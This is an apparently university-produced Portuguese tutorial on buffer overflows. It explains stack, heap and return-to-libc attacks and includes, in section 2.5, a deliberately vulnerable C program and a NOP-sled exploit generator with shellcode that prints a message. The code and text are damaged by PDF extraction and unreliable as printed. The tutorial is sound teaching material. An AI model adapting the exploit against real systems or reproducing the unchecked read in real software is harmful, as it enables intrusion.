Anda di halaman 1dari 15

Universidade Federal do Rio de Janeiro Instituto de Matemtica a Departamento de Cincia da Computao e ca Grupo de Resposta a Incidentes de Segurana c Rio de Janeiro,

RJ - Brasil

Buer Overow Uma introduo terica ca o


GRIS-2011-A-001

Raphael Duarte Paiva Thiago Fonseca Boche(Reviso) a Pedro Philippe Costa Rosanes(Reviso) a

A verso mais recente deste documento pode ser obtida na pgina ocial do GRIS: http: a a //www.gris.dcc.ufrj.br.

GRIS - Grupo de Resposta a Incidentes de Segurana c Av. Brigadeiro Trompowski, s/n CCMN Bloco F1 - Decania Cidade Universitria - Rio de Janeiro/RJ a CEP: 21949-900 Telefone: +55 (21) 2598-9491

Este documento Copyright2011 GRIS. Ele pode ser livremente copiado desde que sejam e respeitadas as seguintes condies: co E permitido fazer e distribuir cpias inalteradas deste documento, completo ou em partes, o contanto que esta nota de copyright e distribuio seja mantida em todas as cpias, e que a districa o buio no tenha ns comerciais. Se este documento for distribu apenas em parte, instrues ca a do co de como obt-lo por completo devem ser inclu e das. E vedada a distribuio de verses modicadas ca o deste documento, bem como a comercializao de cpias, sem a permisso expressa do GRIS. ca o a Embora todos os cuidados tenham sido tomados na preparao deste documento, o GRIS no ca a garante a correo absoluta das informaes nele contidas, nem se responsabiliza por eventuais ca co conseqncias que possam advir do seu uso. ue

Ultima atualizao em: 6 de setembro de 2011 ca

Sumrio a
1 Os 1.1 1.2 1.3 1.4 1.5 conceitos bsicos a Um breve histrico . . . . . . . . . . . . . . . . . . . . . o Buer - o que ? . . . . . . . . . . . . . . . . . . . . . . e Overow . . . . . . . . . . . . . . . . . . . . . . . . . . . Buer Overow - Uma viso geral . . . . . . . . . . . . . a Exploits e tipos de ataques baseados em Buer Overow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 2 3 4 5 5 5 6 6 7 7 7 8 11 12 13 13

2 Dissecando 2.1 A estrutura de um programa na memria . . o 2.2 Conhecendo melhor a pilha . . . . . . . . . . 2.3 Buer Overow - uma viso mais detalhada a 2.4 Tcnicas e ferramentas de Buer Overow . e 2.4.1 Stack-based Buer Overow . . . . . 2.4.2 A estrutura dos Shellcodes . . . . . . 2.5 Como explorar uma vulnerabilidade . . . . . 2.5.1 Conhecendo melhor a heap . . . . . . 2.5.2 Heap-based Buer Overow . . . . . 2.5.3 Return-to-libc Attack . . . . . . . . . 3 Agradecimentos(Raphael Duarte Paiva)

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

1
1.1

Os conceitos bsicos a
Um breve histrico o

Buer Overows foram entendidos por volta de 1972, quando o Computer Security Technology Planning Study (documento de planejamento de estudos da USAF) deniu a tcnica como o seguinte: e Um cdigo realizando tal funao no checa os endereos de fonte e destino aproo c a c priadamente, permitindo que partes do monitor sejam superpostas pelo usurio. a Isso pode ser usado para injetar cdigos no monitor que iro permitir o usurio a o a a tomar o controle da mquina. (Pgina 61 http://csrc.nist.gov/publications/ a a history/ande72.pdf). Hoje em dia, o monitor, poderia ser referido como o kernel. A documentao mais antiga de Buer Overow data de 1988. Foi uma das ca muitas vulnerabilidades exploradas pelo Morris worm para se propagar pela internet. O programa-alvo foi um servio Unix, chamado nger. c Em 1995, Thomas Lopatic redescobriu sozinho o buer overow e publicou seus achados na lista de emails da Bugtraq. Um ano depois, Elias Levy (Tambm conhee cido como Aleph One), publicou na revista Phrack, o artigo Smashing the Stack for Fun and Prot (Arrasando a Pilha por Diverso e Lucro), uma introduao a c passo-a-passo para realizar um stack-based buer overow. Desde ento, pelo menos 2 worms exploraram buer overows para comprometer a um nmero grande de sistemas. Em 2001, o Code Red Worm explorou um buer u overow no ISS (Internet Information Services) 5.0 da Microsoft e em 2003, o worm SQL Slammer colocou em risco maquinas rodando o Microsoft SQL Server 2000. Ainda em 2003, buer overows em jogos licenciados para o v deo-game Xbox da Microsoft foram explorados para permitir que softwares no licenciados rodassem no a console sem a necessidade de modicaoes no hardware, conhecidas por modchips. O c PS2 Independence Exploit tambm usou um buer overow para conseguir o mesmo e efeito para o video-game Playstation 2 da Sony.

1.2

Buer - o que ? e

Em computao, um buer uma regio temporria da memria onde so guarca e a a o a dados dados para serem transportados de um lugar para o outro. Uma aplicaao freqente de um buer quando dados so capturados de um disc u e a positivo de entrada (um teclado ou mouse, por exemplo) e enviados a um dispositivo ` de sa da(monitor, impressora). Exemplo: Digamos que o usurio est em uma aplicaao de terminal, onde tudo o que ele a a c digita, impresso na tela. e

O processo de imprimir o que o usurio digita, simplicadamente, segue um paa dro a parecido com o seguinte:

1. O Usurio aperta uma tecla. a 2. Um buer prviamente prograe mado para tal m, armazena o dado vindo da entrada padro a (o teclado). 3. O dado contido no buer ene to copiado para uma varivel a a interna do sistema, em seguida, processado para se tornar leg a sa padro (geralmente usa-se um padro vel ` da a a de codicaao de caracteres, como a tabela ASCII, por exemplo). c 4. O dado ento, copiado para e a a sa padro e, conseqenteda a u mente, impresso na tela do terminal. Buers tambm so utilizados em aplicaoes onde a taxa de dados recebidos e a c e maior do que a taxa em que os dados so processados, como por exemplo em uma la a de atendimento: Enquanto um banco, por exemplo, tem 5 terminais de atendimento, pessoas so atendidas em grupos de 5. Caso o nmero de pessoas a serem atendidas a u seja maior que cinco, estas que chegaram por ultimo formam uma la enquanto esperam o termino de um atendimento para serem atendidas. A la funciona como um buer, armazenando as pessoas em um lugar prximo de seu destino, enquanto o ainda no podem se locomover at ele. a e Em um exemplo muito mais simples, imagine-se em uma sala de aula e que voc e deve copiar o contedo do quadro para seu caderno. O procedimento para a maioria u das pessoas seria olhar o quadro, memorizar uma parte do contedo e escrev-la u e em seu caderno. De fato, sua memria serviu como um buer entre a entrada de o informaes (o quadro) e a sa (seu caderno). co da Buers so utilizados tanto em Hardware quanto em Software, porm muito mais a e utilizados neste ultimo.

1.3

Overow

O conceito bsico de um overow um transbordamento, ou seja, um overow a e ocorre quando o volume de determinado objeto ou substncia maior do que a a e capacidade de seu compartimento. Um rio raso exposto ` chuvas fortes aumenta consideravelmente seu volume de a agua, podendo levar o n vel de gua a ser maior que a altura de suas margens, a fazendo-o transbordar. Este fato caracteriza um overow (transbordamento), o que leva a agua do rio se espalhar por locais onde a mesma no deveria estar natural a mente. 3

Agora que temos consolidados os conceitos de buer e de overow, podemos junt-los para conhecer o conceito de buer overow. a

1.4

Buer Overow - Uma viso geral a

O buer overow um erro de programaao que pode resultar em execuao erre c c o nea de um programa, acesso indevido ` areas de memria, terminao do programa a o ca ou uma poss falha de segurana em um sistema. vel c Tecnicamente falando, um buer overow consiste em um processo de armazenar, em um buer de tamanho xo, dados maiores que o seu tamanho. Exemplo: Imagine que um programa declara duas estruturas de dados adjacentes na memria do computador: um vetor de caracteres de 8 bytes, A, e um inteiro de 2 bytes, o B, enche A de zeros e B recebe o nmero 9, como no seguinte esquema: u

Agora imagine o que aconteceria se o programa nos pedisse uma palavra e tentssemos inserir a palavra excessivo dentro de A. a A palavra excessivo tem 9 letras, conseqentemente, 10 caracteres, pois um cau ractere nulo concatenado ao nal para indicar o m de uma string (vetor de e caracteres). Separando a palavra em caracteres seria algo como: e, x, c, e, s, s, i, v, o,\0, sendo o \0 o caractere nulo, que consiste em um um byte zerado. Sabendo que cada caractere ocupa um byte, a string A, ento, tem apenas 8 bytes, a porm estamos inserindo 10 bytes, que um tamanho maior do que A comporta. e e Como no exemplo do rio transbordando, A vai transbordar, caracterizando um overow. Quando ocorre um overow, areas da memria adjacentes a estrutura de dados o ` a ser preenchida sero ocupados com os dados excedentes. Neste caso, os 8 bytes a de A sero ocupados, e havero 2 bytes excedentes que sero alocados nos 2 bytes a a a adjacentes ` A, que onde reside B, portanto, o valor de B ser sobrescrito com os a e a 2 bytes que A no suportou, como no seguinte esquema: a

B um inteiro que antes valia 9. Agora, seus 2 bytes esto preenchidos com e a os caracteres o e \0. Em sistemas Little-Endian (sistemas em que o byte menos signicativo o da esquerda), o valor dos bytes de B seriam os correspondentes e binrios ` tabela ASCII do caractere nulo (00000000) e do caractere o (01101111). a a Concatenado-os, temos o valor binrio de B: 0000000001101111 que equivale ao a decimal 111. Como o programa em questo tem apenas 10 bytes reservados na memria, se a o tentssemos escrever uma palavra maior ainda, os excedentes teriam de ser alocaa dos em areas de memria no reservadas ao programa, resultando numa falha de o a segmentaao e, conseqentemente, a terminao do programa. c u ca As conseqncias do tipo de erro citado no exemplo acima, podem resultar em ue um funcionamento errneo do programa, pois imagine que B fosse uma varivel em o a 4

que seria armazenada a idade do usurio e em seguida feito algum processamento a em cima do dado. Uma idade de 111 anos certamente no levaria a um resultado a ` esperado. Logicamente, este um exemplo simples de um buer overow. Erros e deste tipo em projetos maiores podem levar a bugs desastrosos, horas de trabalho ` perdidas para depurao, alm de falhas de segurana que levaro ao surgimento de ca e c a exploits podendo causar srios transtornos a todos que usam o programa. e `

1.5

Exploits e tipos de ataques baseados em Buer Overow

Exploits so pedaos de cdigo, seqncias de comandos, ou at mesmo prograa c o ue e mas que se aproveitam de vulnerabilidades ou bugs em softwares, visando causar comportamento errneo, inesperado ou at mesmo ganhar acesso privilegiado a um o e ` sistema ou causar ataques de negaao de servio (DoS). c c A maioria dos Exploits visa ganhar acesso de n de superusurio a sistemas vel a ` ou derrubar os mesmos. Pode-se fazer uso de vrios exploits diferentes para galgar a n veis de acesso at chegar ao superusurio. e a Os tipos mais comuns de ataques baseados em buer overow so: a Stack-based buer overow Heap-based buer overow Return-to-libc attack

2
2.1

Dissecando
A estrutura de um programa na memria o

Qualquer programa compilado (e isto inclui interpretadores de linguagens) possui uma forma estruturada em cdigo de mquina denotando uma seqncia de instruo a ue oes que sero executadas pelo processador. Tal seqncia carregada na memria c a ue e o quando um programa chamado a execuao. e ` c A estrutura de um programa na memria se divide em quatro partes: texto, o dados, stack (pilha) e heap. A regio do texto contm as instrues do proa e co grama propriamente ditas e dados somente-leitura. Essa regio geralmente somente-leitura, para evitar a e cdigos mutveis. Uma tentativa de escrita nessa area o a resulta em uma falha de segmentaao. c A regio dos dados contm todas as variveis gloa e a bais e estticas do programa. a A regio de heap serve para a alocao dinmica a ca a de variveis, atravs de instruoes do tipo malloc(); a e c A pilha a regio mais interessante para os ns e a deste texto. Trata-se de um bloco de memria onde o so armazenadas informaes vitais para subrotinas: a co variveis locais, parmetros e os valores de retorno. a a 5

2.2

Conhecendo melhor a pilha

O conceito de pilha bastante simples. Uma pilha e adota um padro conhecido como LIFO (Last In First a Out ultimo a entrar, primeiro a sair). Imagine uma pilha de pratos que devem ser lavados. A pessoa que lavar os pratos, comear pelo a c a topo da pilha, que foi o ultimo prato a ser colocado na mesma, porm, ser o dado a e a entrar, ser o primeiro a ser tratado em estruturas organizadas por pilhas (stacks). a Na memria, a pilha consiste de frames que so o a colocados no topo quando uma subrotina chamada e e retirada da pilha no termino da subrotina. Um frame geralmente guarda os seguintes dados sobre a subrotina em ordem da base para o topo: Espao para os parmetros da subrotina; c a O endereo de retorno da subrotina; c Um valor chamado comumente de Frame Pointer; Espao para variveis locais. c a Denindo o escopo ` arquiteturas Intel x86 de 32 a bits, quando temos chamadas ` subrotinas (funes) a co em programas, o processador recebe uma instruao c chamada CALL. Esta instruao armazena no frame da c respectiva subrotina duas informaoes vitais para o processador: o IP (Instruction c Pointer) e o FP (Frame Pointer), que indicam respectivamente, a posio de memria ca o para onde o processador deve continuar lendo aps o termino da subrotina e um o valor arbitrrio para facilitar o trabalho do processador na hora de ler e escrever em a variveis locais e ler parmetros. a a O FP ajuda o processador de modo que endereos lidos dentro do frame que c possuam um valor maior que o endereo do FP com certeza um parmetro e c e a endereos lidos dentro do frame que possuam um valor menor que o endereo do FP c c uma varivel local. e a A soma do espao reservado para o buer desprotegido com o espao ocupado c c pelo FP chamado de payload space. e

2.3

Buer Overow - uma viso mais detalhada a

Como vimos, podemos utilizar o buer overow para reescrever o IP. Ora, se o IP est logo aps o espao para as variveis locais e o FP, o que aconteceria se a o c a ultrapassssemos este espao? a c Assim como no primeiro exemplo de buer overow, imagine que temos um programa que chama uma subrotina para pedir uma string ao usurio. Se soubermos a o tamanho mximo da string e esta fosse a unica varivel da subrotina, poder a a amos ultrapass-lo e reescrever o valor do IP. a 6

Digamos que o programa em questo pea o nome de um arquivo em um sistema a c Unix. Sabendo que o tamanho mximo do nome de um arquivo em tal sistema de a e 256 caracteres, ca fcil arquitetar a reescrita do IP, considerando que o programa a no faz vericaao de tamanho de string e que o est rodando num sistema desa c a protegido, basta escrever 264 caracteres para que o IP receba os ultimos 4 bytes da entrada, ou seja, os quatro ultimos caracteres, pois o IP guarda um inteiro de 4 bytes e cada caractere tem 1 byte (utilizando o sistema ASCII), ora, tenho 8 caracteres excedentes de 1 byte cada, ento o FP ter o valor igual a concatenaao dos valores a a ` c binrios dos 4 primeiros caracteres excedentes e o IP dos 4 ultimos. a

2.4

Tcnicas e ferramentas de Buer Overow e

Agora que sabemos como alterar o IP, como podemos utilizar isso para ns maliciosos? 2.4.1 Stack-based Buer Overow

Como dito em 2.1, o processador l uma srie de instrues. Tais que so referene e co a ciadas por bytes. Com este conhecimento, podemos ento ao invs de escrevermos a e um nome, poder amos enviar um endereo de memria onde um cdigo previamente c o o inserido possa ser executado. O cdigo inserido normalmente chamado de shellcode. o e 2.4.2 A estrutura dos Shellcodes

Shellcodes so pedaos de cdigo leg a c o veis ao processador, ou seja, bytes referentes as instruoes. Como geralmente shellcodes so passados como strings, representamos ` c a cada byte por \xNN, onde \ signica que estamos passando um byte (no um a caractere), x signica que seu valor est na base hexadecimal e NN o valor do a e byte na base hexadecimal. Vale lembrar que um byte nulo \x00, ou simplesmente \0 o caractere terminador de string, ento, como o shellcode consiste de uma e a string composta por bytes, no podemos ter bytes nulos, pois funoes que trabalham a c com strings interpretam um byte nulo como o m da mesma e terminam o seu processamento. Obviamente, queremos que nossa string maliciosa seja processada inteira, portanto, um byte nulo um problema. Alm do byte nulo, alguns outros e e bytes como linefeed(\n, ou \x0A), carriage return(\x0D), etc. podem nos causar problemas, como quebrar o shellcode em dois ou mais (linefeed), como se entrssemos com 2 linhas separadas de shellcode. a Podemos resolver estes problemas de vrios modos, dependendo da instruo que a ca desejamos representar. Torna-se obvia a necessidade do conhecimento da linguagem de mquina neste caso. a No caso de querermos construir um shellcode que imite uma funao, como Sysc tem(), que executa o comando de sistema passado por argumento, devemos seguir os seguintes passos: Construir um programa que simplesmente chame a funao System(), com o c argumento contendo o comando de sistema que desejamos executar. 7

Analisar o seu cdigo assembly do programa por meio de um debugger, como o o gdb, por exemplo, conseguindo assim acesso ao cdigo assembly da funo o ca System. Pelo prprio gdb, podemos ter acesso aos bytes referentes a cada instruo o ca pelo comando Com os bytes em mo, podemos ento construir o shellcode, concatenado-os em a a uma string, tomando os cuidados e adaptaoes necessrias para o shellcode no c a a conter bytes especiais. Assim, com o shellcode pronto, devemos preparar o buer malicioso para ser constru do. Este deve conter: Dados para encher o buer at o in do shellcode e cio O shellcode em si. O valor para reescrever o IP com o endereo do in do shellcode c cio Um problema comum de ataques por buer overow baseados na pilha que e no sabemos exatamente onde o in do payload space devido ` aleatoriedade dos a e cio a dados na memria. Para contornar esse problema comum termos shellcodes bem o e menores que o payload space, e, precedidos de bytes NOP (\x90, No Operation), os quais o processador ignora e pula para a prxima instruo. Deste modo, temos um o ca espao maior para erros na hora de presumir o endereo de retorno. Caso o shellcode c c no comece no endereo escolhido, o processador encontrar NOPS e deslizarat a c a a e o in do shellcode. Como a diferena na localizao geramente pequena, essa cio c ca e tcnica pode ser usada para tornar o ataque mais convel. e a Sequncias muito longas de instruoes NOP so facilmente detectadas por sise c a temas de detecao de intruso de rede como o Snort. Atacantes mais sosticados c a usam uma sequncia de instruoes normais, que no sejam o NOP mas que no e c a a interferem na execuo do shellcode, como xor eax, eax. ca

2.5

Como explorar uma vulnerabilidade

Mostrarei a seguir um cdigo que apresenta uma vulnerabilidade que pode ser o explorada usando a tcnica de stack-based buer overow e NOP-Sled. O erro e cometido nesse cdigo facilmente percebido: tentamos ler 1024 bytes de um arquivo o e em uma varivel que s suporta 8. Com certeza causar um buer overow. a o a
#include < s t d l i b . h> #include <s t d i o . h> int b o f ( ) { char b u f f e r [ 8 ] ; / b u f f e r de c a r a c t e r e s de 8 b y t e s / FILE b a d f i l e ; / a b r i n d o o a r q u i v o b a d f i l e para l e i t u r a / b a d f i l e = f o p e n ( b a d f i l e , r ) ;

/ t e n t a n d o l e r 1024 b y t e s e armazenar em um b u f f e r de 8 . / f r e a d ( b u f f e r , s i z e o f ( char ) , 1 0 2 4 , b a d f i l e ) ; return 1 ; } int main ( int argc , char argv ) { bof ( ) ; / Imprimindo uma mensagem . Em c a s o de o v e r f l o w , nao s e r a e x i b i d a . / p r i n t f ( Not gonna do i t ! \ n ) ; return 1 ; }

Agora que identicamos a vulnerabilidade precisamos de uma forma de explora la. Como o programa l de um arquivo mais bytes do que deve, podemos montar um e arquivo(payload) de forma que ele desvie a execuao para o cdigo que queremos c o executar(shellcode). Nesse exemplo nosso shellcode s escreve uma frase na tela, o mas a idia mostrar que podemos executar um cdigo arbitrrio e tentar tomar e e o a controle do sistema. Os trechos de cdigo a seguir montam o arquivo desejado, o vamos analisar ele passo a passo.
#include < s t d l i b . h> #include <s t d i o . h> char s h e l l c o d e [ ] = \ xeb \ x16 \ x31 \xdb \ x31 \ xd2 \ x31 \ xc0 \ x59 \xbb\ x01 \ x00 \ x00 \ x00 \ xb2 \ x09 \ xb0 \ x04 \ xcd \ x80 \ xb0 \ x01 \ xcd \ x80 \ xe8 \ xe5 \ x f f \ x f f \ x f f GOTCHA! \ n ;

/ / / / / / / / / / / /

jmp s t r i n g / x o r %EBX, %EBX / x o r %EDX, % EDX / x o r %EAX, % EAX / pop %ECX / mov $0x1 ,%EBX / mov $0x9 ,% d l / mov $0x04 ,% a l / i n t $0x80 / mov $0x1 , %a l / i n t $0x80 / c a l l code /

Nessa primeira parte fazemos os includes das bibliotecas padro do C. Logo aps a o colocamos o nosso shellcode em uma string. O que cada instruo faz e como o ca shellcode funciona vo alm do nosso escopo nesse artigo, logo, s precisamos saa e o ber que esse shellcode imprime a palavra GOTCHA!na tela. Vimos anteriormente que os shellcodes so dependentes da plataforma em que vo ser executados. Nosso a a shellcode por exemplo, foi desenvolvido para a plataforma Linux.

#define OFFSET 1500 unsigned long get ESP ( void ) { a s m ( movl %ESP,%EAX ) ; } main ( int argc , char argv ) { unsigned long addr ; FILE b a d f i l e ; char b u f f e r [ 1 0 2 4 ] ; addr = get ESP ( ) + OFFSET; f p r i n t f ( s t d e r r , Using O f f s e t : 0x%x\ n S h e l l c o d e S i z e :%d\n , addr , s i z e o f ( s h e l l c o d e ) ) ;

Agora que temos o nosso shellcode armazenado, precisamos calcular o endereo c em que ele estar na hora da execuao do programa alvo, para podermos desviar. A a c funo get ESP(void) recupera o valor do ESP(Extended Stack Pointer, registrador ca que aponta para o topo da pilha) como j era de se esperar. Como o endereo da a c pilha no muda1 , podemos usar ele para calcular a posiao do shellcode. A pilha a c cresce em direao aos endereos menores, logo, adicionamos ao endereo do topo c c c um oset(deslocamento) de 1500 bytes para irmos em direao a base. Esse valor c calculado levando em consideraao o tamanho das variveis que estaro na pilha. e c a a Logo em seguida imprimimos o oset e o shellcode que sero usados. a
memset ( &b u f f e r , 0 x90 , 1024 ) ; / armazenando o e n d e r e c o do s h e l l c o d e em l i t t l e endian / b u f f e r [ 1 2 ] = addr & 0 x 0 0 0 0 0 0 f f ; b u f f e r [ 1 3 ] = ( addr & 0 x 0 0 0 0 f f 0 0 ) >> 8 ; b u f f e r [ 1 4 ] = ( addr & 0 x 0 0 f f 0 0 0 0 ) >> 1 6 ; b u f f e r [ 1 5 ] = ( addr & 0 x f f 0 0 0 0 0 0 ) >> 2 4 ; memcpy ( &b u f f e r [ ( s i z e o f ( b u f f e r ) s i z e o f ( s h e l l c o d e ) ) ] , shellcode , sizeof ( shellcode ) ) ; b a d f i l e = f o p e n ( . / b a d f i l e , w ) ; f w r i t e ( buffer , 1024 , 1 , b a d f i l e ) ; fclose ( badfile ); }
Nosso exemplo funciona em linuxs com kernel inferior a 2.4.20, porque a partir dessa verso foi a introduzido um recurso que randomiza a localizao da pilha, onde o ESP muda a cada execuo ca ca impossibilitando o ataque da forma como est sendo mostrado. a
1

10

O comando memset preenche o nosso buer com uma sequncia de 1024 NOPs(0x90). e Dessa forma, o buer vai car completamente cheio de NOPs. Logo em seguida armazenamos o endereo do shellcode nas posioes 12 a 15 do buer. O endereo tem 4 c c c bytes e colocado de byte em byte no buer porque o buer de char cujo tamanho e e 1 byte. Para fazer isso, fazemos um and bit a bit do byte menos signicativo e e armazenamos na posio 12, em seguida fazemos o and com o segundo byte menos ca signicativo e um shift right(deslocamento para direita) para coloc-lo na parte mea nos signicativa e assim por diante at o quarto byte. Com o comando memcpy, e colocamos o shellcode no m do buer. Lembrando que, como o nosso buer est a cheio de instrues NOPs, no importa o lugar do buer para qual a execuo vai co a ca ser desviada, ela vai deslizar pelos NOPs at o shellcode. Depois s precisamos e o escrever o buer no arquivo e fech-lo. a Agora que j temos o arquivo que explora a falha, basta executar o programa a passando o nosso arquivo. Na gura a seguir est representada a pilha no momento a da execuao do programa vulnervel com o nosso arquivo. c a

Do lado esquerdo temos a pilha antes do buer overow ocorrer, onde os registradores salvos(IP, FP) e os argumentos da funao esto com seus valores corretos. Do c a lado direito o arquivo que criamos anteriormente j foi lido e sobreescreveu todos os a dados adjacentes ao buer. Ao analisarmos a pilha percebemos que a varivel buer a vai do endereo 0x0F0000 at 0x0F0007 ocupando os 8 bytes declarados. Logo aps, c e o temos o FP que tem 4 bytes, indo do endereo 0x0F0008 at 0x0F000B seguido do c e IP que tambm tem 4 bytes, indo do endereo 0x0F000C at 0x0F000F. Por isso e c e que ao montarmos o payload, colocamos o endereo do shellcode nas posies 12 a c co ` 15 do buer. Os bytes de 0 at 7 vo ser armazenados na varivel buer, de 8 at e a a e 11 vo sobreescrever o FP e de 12 at 15 vo sobreescrever o IP. Logo, quando a a e a funo retornar, a execuao ser desviada para o shellcode e no para a main.[9] ca c a a 2.5.1 Conhecendo melhor a heap

Geralmente, a memria dinmica alocada de uma grande area de memria livre, o a e o chamada de heap, ou free store. A localizaao de dados na heap no prevista pelo c a e programa, ento dados na heap costumam ser acessados indiretamente, por meio a de referncias. Quando usamos uma funo da fam malloc(), estamos alocando e ca lia espao para uma estrutura de dados na heap e retornando o endereo de memria c c o em que ela foi alocada. Este endereo normalmente armazenado em uma varivel c e a que passa a ser a referncia `quela estrutura na heap, ento qualquer operaao de e a a c leitura e escrita feita atravs da referncia, nunca diretamente. e e e 11

O sistema operacional geralmente d ao programa, quando este carregado na a e memria, uma heap de um tamanho espec o co, porm este espao pode ser modie c cado em tempo de execuo. Geralmente, neste processo, o kernel divide a heap em ca setores menores pela memria, resultando em fragmentao e abstraindo esta tarefa o ca do programador, que por sua vez, no precisa se preocupar com o tamanho do heap. a Arquivos executveis tanto PE ou PE32 (Windows), quanto ELF ou ELF32 a (Linux) possuem o que chamamos de optional header que, como o nome diz, um e cabealho opcional que contm informaoes sobre o quo grande o espao na heap c e c a c esperado, para uma alocao mais precisa quando o programa carregado. e ca e E importante ressaltar que o heap cresce na direo oposta da pilha, ou seja, seu ca topo cresce em direao aos endereos maiores da memria, enquanto a pilha cresce c c o em direo aos endereos menores da memria. ca c o Alm do espao reservado para as estruturas de dados do programa, um bloco e c no heap tambm guarda valores usados para a sua administrao, como tamanho do e ca bloco, espao utilizado, prximo bloco e bloco anterior. Os valores armazenados so c o a dependentes de implementaao. Todo run-time environnement possui o seu prprio c o modo de administrar a heap, porm, um programa pode denir o seu prprio modo e o de administrao da heap. ca Como o espao na heap varivel para um programa em execuo, no h como c e a ca a a denir limites para este espao. Ento, nem o kernel, nem o processador so capazes c a a de detectar um overow na heap. 2.5.2 Heap-based Buer Overow

Este um tipo muito mais dif de ser explorado devido ao fato do alvo ser a e cil heap. Entre as diculdades esto: a Na heap, no existem valores os quais o processador usa para saber qual a a prxima operaao a executar, apenas valores de organizaao do prprio heap. o c c o Devido ao fato do heap crescer em direao aos valores maiores da memria e c o podermos apenas escrever nesta mesma direo, no poss reescrever os ca a e vel valores de controle do bloco atual, apenas dos blocos posteriores. Como a organizao da heap pode variar, o atacante precisa saber qual a ca e implementaao de heap do programa-alvo. c Para explorar um buer overow na heap necessrio encontrar uma vulnerae a bilidade em alguma funo interna de administraao da heap, de modo que esta ca c processe o buer alvo na heap. Deste modo: Precisamos explorar a heap para sobrescrever os valores de administrao de ca um bloco alvo e assim inserir o shellcode, construindo um bloco malicioso na heap. Os valores de administrao devem ser alterados no bloco de forma que este, ca ao ser analisado por uma funo, como free(), por exemplo, seja processado, ca 12

diretamente ou por meio de outra funao, como a unlink(), que chamada c e dentro da free(), por exemplo. Alm de modicados para ativar uma funo, os valores de administraao e ca c devem ser reescritos para causar um overow no frame da funao que processa c o bloco, para direcionar a execuo do programa para o shellcode inserido. ca Outro modo de explorar o heap overow estourar o heap at chegar na pilha e e e ento sobrescrever o IP do frame do topo da pilha. a Neste ponto, uma questo importante conveniente: Por que um shellcode no a e heap se precisamos explorar um overow na pilha tambm? e A resposta pode variar, porm a mais razovel a questo do espao. Funes e a e a c co podem ser vulnerveis e mesmo assim ter uma quantidade to pequena de buers a a que no suportaria um shellcode. E razovel, neste caso, inserir o shellcode na heap. a a 2.5.3 Return-to-libc Attack

Uma das defesas para um ataque de buer overow baseado em pilha no dar e a permisso de execuo na pilha. Deste modo, no poss a ca a e vel tentar executar um shellcode na pilha. Existe uma alternativa, que explorar um cdigo que j existe e o a nas rotinas do programa. Um cdigo que est em quase qualquer coisa(incluindo o a o sistema operacional), so os cdigos da libc, a biblioteca padro do C. Alm de a o a e estarem presentes na maioria dos sistemas, eles possuem uma posiao esttica na c a memria em um sistema. o O mtodo para pular para uma funao da libc o mesmo do buer overow e c e baseado em pilha: reescrever o IP com o endereo da funao desejada. O endereo c c c de uma funo da libc pode ser facilmente descoberto, em um ambiente sem proteao ca c de aleatoriedade nos espaos de endereo, usando um programa de teste que imprima c c o endereo da funao, por exemplo. c c Devemos, ento, reescrever o IP com o endereo da funao desejada, seu endereo a c c c de retorno e ento seus argumentos. a

Agradecimentos(Raphael Duarte Paiva)

O primeiro e mais bvio agradecimento vai para minha fam o lia, sem a qual no a chegaria onde estou hoje e certamente no estaria realizando este artigo. a Gostaria de agradecer tambm a todo a equipe GRIS, pelo apoio, camaradae gem, ensinamentos, trabalho, compromisso e as muitas risadas que compartilhamos quando estamos juntos. Outro agradecimento vai para toda a comunidade online que compartilha conhecimento em otimas fontes de sabedoria. Finalmente, um agradecimento especial para o amigo e fundador do GRIS, Breno G. de Oliveira, por sua disposio em compartilhar seu enorme conhecimento a ca qualquer hora e sempre com uma vontade animadora de ajudar.

13

Referncias e
[1] Smashing The Stack for Fun and Prot - http://insecure.org/stf/ smashstack.html [2] Buer Overow - http://en.wikipedia.org/wiki/Buffer_overflow [3] Stack buer overow - http://en.wikipedia.org/wiki/Stack_buffer_ overflow [4] Heap Overow - http://en.wikipedia.org/wiki/Heap_overflow [5] Return-to-libc attack - http://en.wikipedia.org/wiki/Return-to-libc_ attack [6] Shellcode - http://en.wikipedia.org/wiki/Shellcode [7] A Heap of Risk http://www.heise-online.co.uk/security/ A-Heap-of-Risk--/features/74634 [8] Arc Injection / Return-to-libc - http://www.acm.uiuc.edu/sigmil/talks/ general_exploitation/arc_injection/arc_injection.html [9] J.C. Foster, V. Osipov, N. Bhalla - Buer Overow Attacks: Detect, Exploit, Prevent.

14

Anda mungkin juga menyukai